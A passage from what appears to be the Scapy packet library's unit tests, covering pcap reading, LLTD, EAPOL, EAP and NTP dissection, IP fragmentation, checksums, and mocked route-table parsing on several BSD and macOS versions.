\x00\x91|\x00\x00H\x00\x00\x00\x06\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00\x1f\xff[\xcd\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r<\x00\x00\x00\x06\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00\xb9\x02\\\xcd\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00<\x00\x00\x00') = Read a pcap file pktpcap = rdpcap(pcapfile) = Read a pcapng file pktpcapng = rdpcap(pcapngfile) = Check both packet lists are the same assert list(pktpcap) == list(pktpcapng) = Check packets from pcap file assert all(IP in pkt for pkt in pktpcap) assert all(any(proto in pkt for pkt in pktpcap) for proto in [ICMP, UDP, TCP]) = Check packets from pcap file assert all(IP in pkt for pkt in pktpcapng) assert all(any(proto in pkt for pkt in pktpcapng) for proto in [ICMP, UDP, TCP]) ############ ############ + LLTD protocol = Simple packet dissection pkt = Ether('\xff\xff\xff\xff\xff\xff\x86\x14\xf0\xc7[.\x88\xd9\x01\x00\x00\x01\xff\xff\xff\xff\xff\xff\x86\x14\xf0\xc7[.\x00\x00\xfe\xe9[\xa9\xaf\xc1\x0bS[\xa9\xaf\xc1\x0bS\x01\x06}[G\x8f\xec.\x02\x04p\x00\x00\x00\x03\x04\x00\x00\x00\x06\x07\x04\xac\x19\x88\xe4\t\x02\x00l\n\x08\x00\x00\x00\x00\x00\x0fB@\x0c\x04\x00\x08=`\x0e\x00\x0f\x0eT\x00E\x00S\x00T\x00-\x00A\x00P\x00\x12\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x04\x00\x00\x00\x00\x15\x01\x02\x18\x00\x19\x02\x04\x00\x1a\x00\x00') assert pkt.dst == pkt.real_dst assert pkt.src == pkt.real_src assert pkt.current_mapper_address == pkt.apparent_mapper_address assert pkt.mac == '7d:5b:47:8f:ec:2e' assert pkt.hostname == "TEST-AP" assert isinstance(pkt[LLTDAttributeEOP].payload, NoPayload) = Packet build / dissection pkt = Ether(str(Ether(dst=ETHER_BROADCAST, src=RandMAC()) / LLTD(tos=0, function=0))) assert LLTD in pkt assert pkt.dst == pkt.real_dst assert pkt.src == pkt.real_src assert pkt.tos == 0 assert pkt.function == 0 = Large TLV m1, m2, seq = RandMAC()._fix(), RandMAC()._fix(), 123 preqbase = Ether(src=m1, dst=m2) / LLTD() / \ LLTDQueryLargeTlv(type="Detailed Icon Image") prespbase = Ether(src=m2, dst=m1) / LLTD() / \ LLTDQueryLargeTlvResp() plist = [] pkt = preqbase.copy() pkt.seq = seq plist.append(Ether(str(pkt))) pkt = prespbase.copy() pkt.seq = seq pkt.flags = "M" pkt.value = "abcd" plist.append(Ether(str(pkt))) pkt = preqbase.copy() pkt.seq = seq + 1 pkt.offset = 4 plist.append(Ether(str(pkt))) pkt = prespbase.copy() pkt.seq = seq + 1 pkt.value = "efg" plist.append(Ether(str(pkt))) builder = LargeTlvBuilder() builder.parse(plist) data = builder.get_data() assert len(data) == 1 key, value = data.popitem() assert key.endswith(' [Detailed Icon Image]') assert value == 'abcdefg' ############ ############ + Test fragment() / defragment() functions = fragment() payloadlen, fragsize = 100, 8 assert fragsize % 8 == 0 fragcount = (payloadlen / fragsize) + bool(payloadlen % fragsize) * create the packet pkt = IP() / ("X" * payloadlen) * create the fragments frags = fragment(pkt, fragsize) * count the fragments assert len(frags) == fragcount * each fragment except the last one should have MF set assert all(p.flags == 1 for p in frags[:-1]) assert frags[-1].flags == 0 * each fragment except the last one should have a payload of fragsize bytes assert all(len(p.payload) == 8 for p in frags[:-1]) assert len(frags[-1].payload) == ((payloadlen % fragsize) or fragsize) = defragment() defrags = defragment(frags) * we should have one single packet assert len(defrags) == 1 * which should be the same as pkt reconstructed assert defrags[0] == IP(str(pkt)) ############ ############ + TCP/IP tests = TCP options: UTO - basic build str(TCP(options=[("UTO", 0xffff)])) == "\x00\x14\x00\x50\x00\x00\x00\x00\x00\x00\x00\x00\x60\x02\x20\x00\x00\x00\x00\x00\x1c\x04\xff\xff" = TCP options: UTO - basic dissection uto = TCP("\x00\x14\x00\x50\x00\x00\x00\x00\x00\x00\x00\x00\x60\x02\x20\x00\x00\x00\x00\x00\x1c\x04\xff\xff") uto[TCP].options[0][0] == "UTO" and uto[TCP].options[0][1] == 0xffff = IP, TCP & UDP checksums (these tests highly depend on default values) pkt = IP() / TCP() bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c pkt = IP(len=40) / TCP() bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c pkt = IP(len=40, ihl=5) / TCP() bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c pkt = IP() / TCP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c pkt = IP(len=50) / TCP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c pkt = IP(len=50, ihl=5) / TCP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c pkt = IP(options=[IPOption_RR()]) / TCP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0xf0bb and bpkt.payload.chksum == 0x4b2c pkt = IP(len=54, options=[IPOption_RR()]) / TCP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0xf0bb and bpkt.payload.chksum == 0x4b2c pkt = IP(len=54, ihl=6, options=[IPOption_RR()]) / TCP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0xf0bb and bpkt.payload.chksum == 0x4b2c pkt = IP() / UDP() bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172 pkt = IP(len=28) / UDP() bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172 pkt = IP(len=28, ihl=5) / UDP() bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172 pkt = IP() / UDP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17 pkt = IP(len=38) / UDP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17 pkt = IP(len=38, ihl=5) / UDP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17 pkt = IP(options=[IPOption_RR()]) / UDP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0xf0bc and bpkt.payload.chksum == 0xbb17 pkt = IP(len=42, options=[IPOption_RR()]) / UDP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0xf0bc and bpkt.payload.chksum == 0xbb17 pkt = IP(len=42, ihl=6, options=[IPOption_RR()]) / UDP() / ("A" * 10) bpkt = IP(str(pkt)) assert bpkt.chksum == 0xf0bc and bpkt.payload.chksum == 0xbb17 = Layer binding * Test DestMACField & DestIPField pkt = Ether(str(Ether()/IP()/UDP(dport=5353)/DNS())) assert isinstance(pkt, Ether) and pkt.dst == '01:00:5e:00:00:fb' pkt = pkt.payload assert isinstance(pkt, IP) and pkt.dst == '224.0.0.251' pkt = pkt.payload assert isinstance(pkt, UDP) and pkt.dport == 5353 pkt = pkt.payload assert isinstance(pkt, DNS) and isinstance(pkt.payload, NoPayload) * Same with IPv6 pkt = Ether(str(Ether()/IPv6()/UDP(dport=5353)/DNS())) assert isinstance(pkt, Ether) and pkt.dst == '33:33:00:00:00:fb' pkt = pkt.payload assert isinstance(pkt, IPv6) and pkt.dst == 'ff02::fb' pkt = pkt.payload assert isinstance(pkt, UDP) and pkt.dport == 5353 pkt = pkt.payload assert isinstance(pkt, DNS) and isinstance(pkt.payload, NoPayload) + Mocked read_routes() calls = Truncated netstat -rn output on OS X import mock import StringIO @mock.patch("scapy.arch.get_if_addr") @mock.patch("scapy.arch.unix.os") def test_osx_netstat_truncated(mock_os, mock_get_if_addr): """Test read_routes() on OS X 10.? with a long interface name""" # netstat & ifconfig outputs from https://github.com/secdev/scapy/pull/119 netstat_output = """ Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default 192.168.1.1 UGSc 460 0 en1 default link#11 UCSI 1 0 bridge1 127 127.0.0.1 UCS 1 0 lo0 127.0.0.1 127.0.0.1 UH 10 2012351 lo0 """ ifconfig_output = "lo0 en1 bridge10\n" # Mocked file descriptors def se_popen(command): """Perform specific side effects""" if command == "netstat -rn": return StringIO.StringIO(netstat_output) elif command == "ifconfig -l": ret = StringIO.StringIO(ifconfig_output) def unit(): return ret ret.__call__ = unit ret.__enter__ = unit ret.__exit__ = lambda x,y,z: None return ret raise Exception("Command not mocked: %s" % command) mock_os.popen.side_effect = se_popen # Mocked get_if_addr() behavior def se_get_if_addr(iface): """Perform specific side effects""" if iface == "bridge1": oserror_exc = OSError() oserror_exc.message = "Device not configured" raise oserror_exc return "1.2.3.4" mock_get_if_addr.side_effect = se_get_if_addr # Test the function from scapy.arch.unix import read_routes routes = read_routes() assert(len(routes) == 4) assert([r for r in routes if r[3] == "bridge10"]) test_osx_netstat_truncated() + Mocked read_routes6() calls = Preliminary definitions import mock import StringIO def valid_output_read_routes6(routes): """"Return True if 'routes' contains correctly formatted entries, False otherwise""" for destination, plen, next_hop, dev, cset in routes: if not in6_isvalid(destination) or not type(plen) == int: return False if not in6_isvalid(next_hop) or not type(dev) == str: return False for address in cset: if not in6_isvalid(address): return False return True def check_mandatory_ipv6_routes(routes6): """Ensure that mandatory IPv6 routes are present""" if len(filter(lambda r: r[0] == "::1" and r[-1] == ["::1"], routes6)) < 1: return False if len(filter(lambda r: r[0] == "fe80::" and r[1] == 64, routes6)) < 1: return False if len(filter(lambda r: in6_islladdr(r[0]) and r[1] == 128 and \ r[-1] == ["::1"], routes6)) < 1: return False return True = Mac OS X 10.9.5 @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_osx_10_9_5(mock_os, mock_in6_getifaddr): """Test read_routes6() on OS X 10.9.5""" # 'netstat -rn -f inet6' output netstat_output = """ Routing tables Internet6: Destination Gateway Flags Netif Expire ::1 ::1 UHL lo0 fe80::%lo0/64 fe80::1%lo0 UcI lo0 fe80::1%lo0 link#1 UHLI lo0 fe80::%en0/64 link#4 UCI en0 fe80::ba26:6cff:fe5f:4eee%en0 b8:26:6c:5f:4e:ee UHLWIi en0 fe80::bae8:56ff:fe45:8ce6%en0 b8:e8:56:45:8c:e6 UHLI lo0 ff01::%lo0/32 ::1 UmCI lo0 ff01::%en0/32 link#4 UmCI en0 ff02::%lo0/32 ::1 UmCI lo0 ff02::%en0/32 link#4 UmCI en0 """ # Mocked file descriptor strio = StringIO.StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"), ("fe80::ba26:6cff:fe5f:4eee", IPV6_ADDR_LINKLOCAL, "en0")] # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() for r in routes: print r assert(len(routes) == 6) assert(check_mandatory_ipv6_routes(routes)) test_osx_10_9_5() = Mac OS X 10.9.5 with global IPv6 connectivity @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_osx_10_9_5_global(mock_os, mock_in6_getifaddr): """Test read_routes6() on OS X 10.9.5 with an IPv6 connectivity""" # 'netstat -rn -f inet6' output netstat_output = """ Routing tables Internet6: Destination Gateway Flags Netif Expire default fe80::ba26:8aff:fe5f:4eef%en0 UGc en0 ::1 ::1 UHL lo0 2a01:ab09:7d:1f01::/64 link#4 UC en0 2a01:ab09:7d:1f01:420:205c:9fab:5be7 b8:e9:55:44:7c:e5 UHL lo0 2a01:ab09:7d:1f01:ba26:8aff:fe5f:4eef b8:26:8a:5f:4e:ef UHLWI en0 2a01:ab09:7d:1f01:bae9:55ff:fe44:7ce5 b8:e9:55:44:7c:e5 UHL lo0 fe80::%lo0/64 fe80::1%lo0 UcI lo0 fe80::1%lo0 link#1 UHLI lo0 fe80::%en0/64 link#4 UCI en0 fe80::5664:d9ff:fe79:4e00%en0 54:64:d9:79:4e:0 UHLWI en0 fe80::6ead:f8ff:fe74:945a%en0 6c:ad:f8:74:94:5a UHLWI en0 fe80::a2f3:c1ff:fec4:5b50%en0 a0:f3:c1:c4:5b:50 UHLWI en0 fe80::ba26:8aff:fe5f:4eef%en0 b8:26:8a:5f:4e:ef UHLWIir en0 fe80::bae9:55ff:fe44:7ce5%en0 b8:e9:55:44:7c:e5 UHLI lo0 ff01::%lo0/32 ::1 UmCI lo0 ff01::%en0/32 link#4 UmCI en0 ff02::%lo0/32 ::1 UmCI lo """ # Mocked file descriptor strio = StringIO.StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"), ("fe80::ba26:6cff:fe5f:4eee", IPV6_ADDR_LINKLOCAL, "en0")] # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() assert(valid_output_read_routes6(routes)) for r in routes: print r assert(len(routes) == 11) assert(check_mandatory_ipv6_routes(routes)) test_osx_10_9_5_global() = Mac OS X 10.10.4 @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_osx_10_10_4(mock_os, mock_in6_getifaddr): """Test read_routes6() on OS X 10.10.4""" # 'netstat -rn -f inet6' output netstat_output = """ Routing tables Internet6: Destination Gateway Flags Netif Expire ::1 ::1 UHL lo0 fe80::%lo0/64 fe80::1%lo0 UcI lo0 fe80::1%lo0 link#1 UHLI lo0 fe80::%en0/64 link#4 UCI en0 fe80::a00:27ff:fe9b:c965%en0 8:0:27:9b:c9:65 UHLI lo0 ff01::%lo0/32 ::1 UmCI lo0 ff01::%en0/32 link#4 UmCI en0 ff02::%lo0/32 ::1 UmCI lo0 ff02::%en0/32 link#4 UmCI en0 """ # Mocked file descriptor strio = StringIO.StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"), ("fe80::a00:27ff:fe9b:c965", IPV6_ADDR_LINKLOCAL, "en0")] # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() for r in routes: print r assert(len(routes) == 5) assert(check_mandatory_ipv6_routes(routes)) test_osx_10_10_4() = FreeBSD 10.2 @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_freebsd_10_2(mock_os, mock_in6_getifaddr): """Test read_routes6() on FreeBSD 10.2""" # 'netstat -rn -f inet6' output netstat_output = """ Routing tables Internet6: Destination Gateway Flags Netif Expire ::/96 ::1 UGRS lo0 ::1 link#2 UH lo0 ::ffff:0.0.0.0/96 ::1 UGRS lo0 fe80::/10 ::1 UGRS lo0 fe80::%lo0/64 link#2 U lo0 fe80::1%lo0 link#2 UHS lo0 ff01::%lo0/32 ::1 U lo0 ff02::/16 ::1 UGRS lo0 ff02::%lo0/32 ::1 U lo0 """ # Mocked file descriptor strio = StringIO.StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0")] # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() for r in routes: print r assert(len(routes) == 3) assert(check_mandatory_ipv6_routes(routes)) test_freebsd_10_2() = OpenBSD 5.5 @mock.patch("scapy.arch.OPENBSD") @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_openbsd_5_5(mock_os, mock_in6_getifaddr, mock_openbsd): """Test read_routes6() on OpenBSD 5.5""" # 'netstat -rn -f inet6' output netstat_output = """ Routing tables Internet6: Destination Gateway Flags Refs Use Mtu Prio Iface ::/104 ::1 UGRS 0 0 - 8 lo0 ::/96 ::1 UGRS 0 0 - 8 lo0 ::1 ::1 UH 14 0 33144 4 lo0 ::127.0.0.0/104 ::1 UGRS 0 0 - 8 lo0 ::224.0.0.0/100 ::1 UGRS 0 0 - 8 lo0 ::255.0.0.0/104 ::1 UGRS 0 0 - 8 lo0 ::ffff:0.0.0.0/96 ::1 UGRS 0 0 - 8 lo0 2002::/24 ::1 UGRS 0 0 - 8 lo0 2002:7f00::/24 ::1 UGRS 0 0 - 8 lo0 2002:e000::/20 ::1 UGRS 0 0 - 8 lo0 2002:ff00::/24 ::1 UGRS 0 0 - 8 lo0 fe80::/10 ::1 UGRS 0 0 - 8 lo0 fe80::%em0/64 link#1 UC 0 0 - 4 em0 fe80::a00:27ff:fe04:59bf%em0 08:00:27:04:59:bf UHL 0 0 - 4 lo0 fe80::%lo0/64 fe80::1%lo0 U 0 0 - 4 lo0 fe80::1%lo0 link#3 UHL 0 0 - 4 lo0 fec0::/10 ::1 UGRS 0 0 - 8 lo0 ff01::/16 ::1 UGRS 0 0 - 8 lo0 ff01::%em0/32 link#1 UC 0 0 - 4 em0 ff01::%lo0/32 fe80::1%lo0 UC 0 0 - 4 lo0 ff02::/16 ::1 UGRS 0 0 - 8 lo0 ff02::%em0/32 link#1 UC 0 0 - 4 em0 ff02::%lo0/32 fe80::1%lo0 UC 0 0 - 4 lo0 """ # Mocked file descriptor strio = StringIO.StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"), ("fe80::a00:27ff:fe04:59bf", IPV6_ADDR_LINKLOCAL, "em0")] # Mocked OpenBSD parsing behavior mock_openbsd = True # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() for r in routes: print r assert(len(routes) == 5) assert(check_mandatory_ipv6_routes(routes)) test_openbsd_5_5() = NetBSD 7.0 @mock.patch("scapy.arch.NETBSD") @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_netbsd_7_0(mock_os, mock_in6_getifaddr, mock_netbsd): """Test read_routes6() on NetBSD 7.0""" # 'netstat -rn -f inet6' output netstat_output = """ Routing tables Internet6: Destination Gateway Flags Refs Use Mtu Interface ::/104 ::1 UGRS - - - lo0 ::/96 ::1 UGRS - - - lo0 ::1 ::1 UH - - 33648 lo0 ::127.0.0.0/104 ::1 UGRS - - - lo0 ::224.0.0.0/100 ::1 UGRS - - - lo0 ::255.0.0.0/104 ::1 UGRS - - - lo0 ::ffff:0.0.0.0/96 ::1 UGRS - - - lo0 2001:db8::/32 ::1 UGRS - - - lo0 2002::/24 ::1 UGRS - - - lo0 2002:7f00::/24 ::1 UGRS - - - lo0 2002:e000::/20 ::1 UGRS - - - lo0 2002:ff00::/24 ::1 UGRS - - - lo0 fe80::/10 ::1 UGRS - - - lo0 fe80::%wm0/64 link#1 UC - - - wm0 fe80::acd1:3989:180e:fde0 08:00:27:a1:64:d8 UHL - - - lo0 fe80::%lo0/64 fe80::1 U - - - lo0 fe80::1 link#2 UHL - - - lo0 ff01:1::/32 link#1 UC - - - wm0 ff01:2::/32 ::1 UC - - - lo0 ff02::%wm0/32 link#1 UC - - - wm0 ff02::%lo0/32 ::1 UC - - - lo0 """ # Mocked file descriptor strio = StringIO.StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"), ("fe80::acd1:3989:180e:fde0", IPV6_ADDR_LINKLOCAL, "wm0")] # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() for r in routes: print r assert(len(routes) == 5) assert(check_mandatory_ipv6_routes(routes)) test_netbsd_7_0() ############ ############ #################################### l2.py #################################### ################################### EAPOL ##################################### + EAPOL class tests = EAPOL - Basic Instantiation str(EAPOL()) == '\x01\x00\x00\x00' = EAPOL - Instantiation with specific values str(EAPOL(version = 3, type = 5)) == '\x03\x05\x00\x00' = EAPOL - Dissection (1) s = '\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 1) assert(eapol.len == 0) = EAPOL - Dissection (2) s = '\x03\x00\x00\x05\x01\x01\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 0) assert(eapol.len == 5) = EAPOL - Dissection (3) s = '\x03\x00\x00\x0e\x02\x01\x00\x0e\x01anonymous\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 0) assert(eapol.len == 14) = EAPOL - Dissection (4) req = EAPOL('\x03\x00\x00\x05\x01\x01\x00\x05\x01') ans = EAPOL('\x03\x00\x00\x0e\x02\x01\x00\x0e\x01anonymous') ans.answers(req) = EAPOL - Dissection (5) s = '\x02\x00\x00\x06\x01\x01\x00\x06\r ' eapol = EAPOL(s) assert(eapol.version == 2) assert(eapol.type == 0) assert(eapol.len == 6) assert(eapol.haslayer(EAP_TLS)) = EAPOL - Dissection (6) s = '\x03\x00\x00<\x02\x9e\x00<+\x01\x16\x03\x01\x001\x01\x00\x00-\x03\x01dr1\x93ZS\x0en\xad\x1f\xbaH\xbb\xfe6\xe6\xd0\xcb\xec\xd7\xc0\xd7\xb9\xa5\xc9\x0c\xfd\x98o\xa7T \x00\x00\x04\x004\x00\x00\x01\x00\x00\x00' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 0) assert(eapol.len == 60) assert(eapol.haslayer(EAP_FAST)) #################################### EAP ###################################### + EAP class tests = EAP - Basic Instantiation str(EAP()) == '\x04\x00\x00\x04' = EAP - Instantiation with specific values str(EAP(code = 1, id = 1, len = 5, type = 1)) == '\x01\x01\x00\x05\x01' = EAP - Dissection (1) s = '\x01\x01\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eap = EAP(s) assert(eap.code == 1) assert(eap.id == 1) assert(eap.len == 5) assert(hasattr(eap, "type")) assert(eap.type == 1) = EAP - Dissection (2) s = '\x02\x01\x00\x0e\x01anonymous\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 1) assert(eap.len == 14) assert(eap.type == 1) assert(hasattr(eap, 'identity')) assert(eap.identity == 'anonymous') = EAP - Dissection (3) s = '\x01\x01\x00\x06\r ' eap = EAP(s) assert(eap.code == 1) assert(eap.id == 1) assert(eap.len == 6) assert(eap.type == 13) assert(eap.haslayer(EAP_TLS)) assert(eap[EAP_TLS].L == 0) assert(eap[EAP_TLS].M == 0) assert(eap[EAP_TLS].S == 1) = EAP - Dissection (4) s = '\x02\x01\x00\xd1\r\x00\x16\x03\x01\x00\xc6\x01\x00\x00\xc2\x03\x01UK\x02\xdf\x1e\xde5\xab\xfa[\x15\xef\xbe\xa2\xe4`\xc6g\xb9\xa8\xaa%vAs\xb2\x1cXt\x1c0\xb7\x00\x00P\xc0\x14\xc0\n\x009\x008\x00\x88\x00\x87\xc0\x0f\xc0\x05\x005\x00\x84\xc0\x12\xc0\x08\x00\x16\x00\x13\xc0\r\xc0\x03\x00\n\xc0\x13\xc0\t\x003\x002\x00\x9a\x00\x99\x00E\x00D\xc0\x0e\xc0\x04\x00/\x00\x96\x00A\xc0\x11\xc0\x07\xc0\x0c\xc0\x02\x00\x05\x00\x04\x00\x15\x00\x12\x00\t\x00\xff\x01\x00\x00I\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x004\x002\x00\x0e\x00\r\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\t\x00\n\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00#\x00\x00\x00\x0f\x00\x01\x01' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 1) assert(eap.len == 209) assert(eap.type == 13) assert(eap.haslayer(EAP_TLS)) assert(eap[EAP_TLS].L == 0) assert(eap[EAP_TLS].M == 0) assert(eap[EAP_TLS].S == 0) = EAP - Dissection (5) s = '\x02\x9e\x00<+\x01\x16\x03\x01\x001\x01\x00\x00-\x03\x01dr1\x93ZS\x0en\xad\x1f\xbaH\xbb\xfe6\xe6\xd0\xcb\xec\xd7\xc0\xd7\xb9\xa5\xc9\x0c\xfd\x98o\xa7T \x00\x00\x04\x004\x00\x00\x01\x00\x00\x00' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 158) assert(eap.len == 60) assert(eap.type == 43) assert(eap.haslayer(EAP_FAST)) assert(eap[EAP_FAST].L == 0) assert(eap[EAP_FAST].M == 0) assert(eap[EAP_FAST].S == 0) assert(eap[EAP_FAST].version == 1) = EAP - Dissection (6) s = '\x02\x9f\x01L+\x01\x16\x03\x01\x01\x06\x10\x00\x01\x02\x01\x00Y\xc9\x8a\tcw\t\xdcbU\xfd\x035\xcd\x1a\t\x10f&[(9\xf6\x88W`\xc6\x0f\xb3\x84\x15\x19\xf5\tk\xbd\x8fp&0\xb0\xa4B\x85\x0c<:s\xf2zT\xc3\xbd\x8a\xe4D{m\xe7\x97\xfe>\xda\x14\xb8T1{\xd7H\x9c\xa6\xcb\xe3,u\xdf\xe0\x82\xe5R\x1e<\xe5\x03}\xeb\x98\xe2\xf7\x8d3\xc6\x83\xac"\x8f\xd7\x12\xe5{:"\x84A\xd9\x14\xc2cZF\xd4\t\xab\xdar\xc7\xe0\x0e\x00o\xce\x05g\xdc?\xcc\xf7\xe83\x83E\xb3>\xe8<3-QB\xfd$C/\x1be\xcf\x03\xd6Q4\xbe\\h\xba)<\x99N\x89\xd9\xb1\xfa!\xd7a\xef\xa3\xd3o\xed8Uz\xb5k\xb0`\xfeC\xbc\xb3aS,d\xe6\xdc\x13\xa4A\x1e\x9b\r{\xd6s \xd0cQ\x95y\xc8\x1d\xc3\xd9\x87\xf2=\x81\x96q~\x99E\xc3\x97\xa8px\xe2\xc7\x92\xeb\xff/v\x84\x1e\xfb\x00\x95#\xba\xfb\xd88h\x90K\xa7\xbd9d\xb4\xf2\xf2\x14\x02vtW\xaa\xadY\x14\x03\x01\x00\x01\x01\x16\x03\x01\x000\x97\xc5l\xd6\xef\xffcM\x81\x90Q\x96\xf6\xfeX1\xf7\xfc\x84\xc6\xa0\xf6Z\xcd\xb6\xe1\xd4\xdb\x88\xf9t%Q!\xe7,~#2G-\xdf\x83\xbf\x86Q\xa2$' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 159) assert(eap.len == 332) assert(eap.type == 43) assert(eap.haslayer(EAP_FAST)) assert(eap[EAP_FAST].L == 0) assert(eap[EAP_FAST].M == 0) assert(eap[EAP_FAST].S == 0) assert(eap[EAP_FAST].version == 1) = EAP - Dissection (7) s = '\x02\xf1\x00\x06\x03+' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 241) assert(eap.len == 6) assert(eap.type == 3) assert(hasattr(eap, 'desired_auth_type')) assert(eap.desired_auth_type == 43) ################################### ntp.py ################################### #################################### NTP ##################################### + NTP module tests = NTP - Layers (1) p = NTPHeader() assert(NTPHeader in p) assert(not NTPControl in p) assert(not NTPPrivate in p) assert(NTP in p) p = NTPControl() assert(not NTPHeader in p) assert(NTPControl in p) assert(not NTPPrivate in p) assert(NTP in p) p = NTPPrivate() assert(not NTPHeader in p) assert(not NTPControl in p) assert(NTPPrivate in p) assert(NTP in p) = NTP - Layers (2) p = NTPHeader() assert(type(p[NTP]) == NTPHeader) p = NTPControl() assert(type(p[NTP]) == NTPControl) p = NTPPrivate() assert(type(p[NTP]) == NTPPrivate) ################################# NTPHeader ################################## + NTPHeader tests = NTPHeader - Basic checks len(str(NTP())) == 48 = NTPHeader - Dissection s = "!\x0b\x06\xea\x00\x00\x00\x00\x00\x00\xf2\xc1\x7f\x7f\x01\x00\xdb9\xe8\xa21\x02\xe6\xbc\xdb9\xe8\x81\x02U8\xef\xdb9\xe8\x80\xdcl+\x06\xdb9\xe8\xa91\xcbI\xbf\x00\x00\x00\x01\xady\xf3\xa1\xe5\xfc\xd02\xd2j\x1e'\xc3\xc1\xb6\x0e" p = NTP(s) assert(isinstance(p, NTPHeader)) 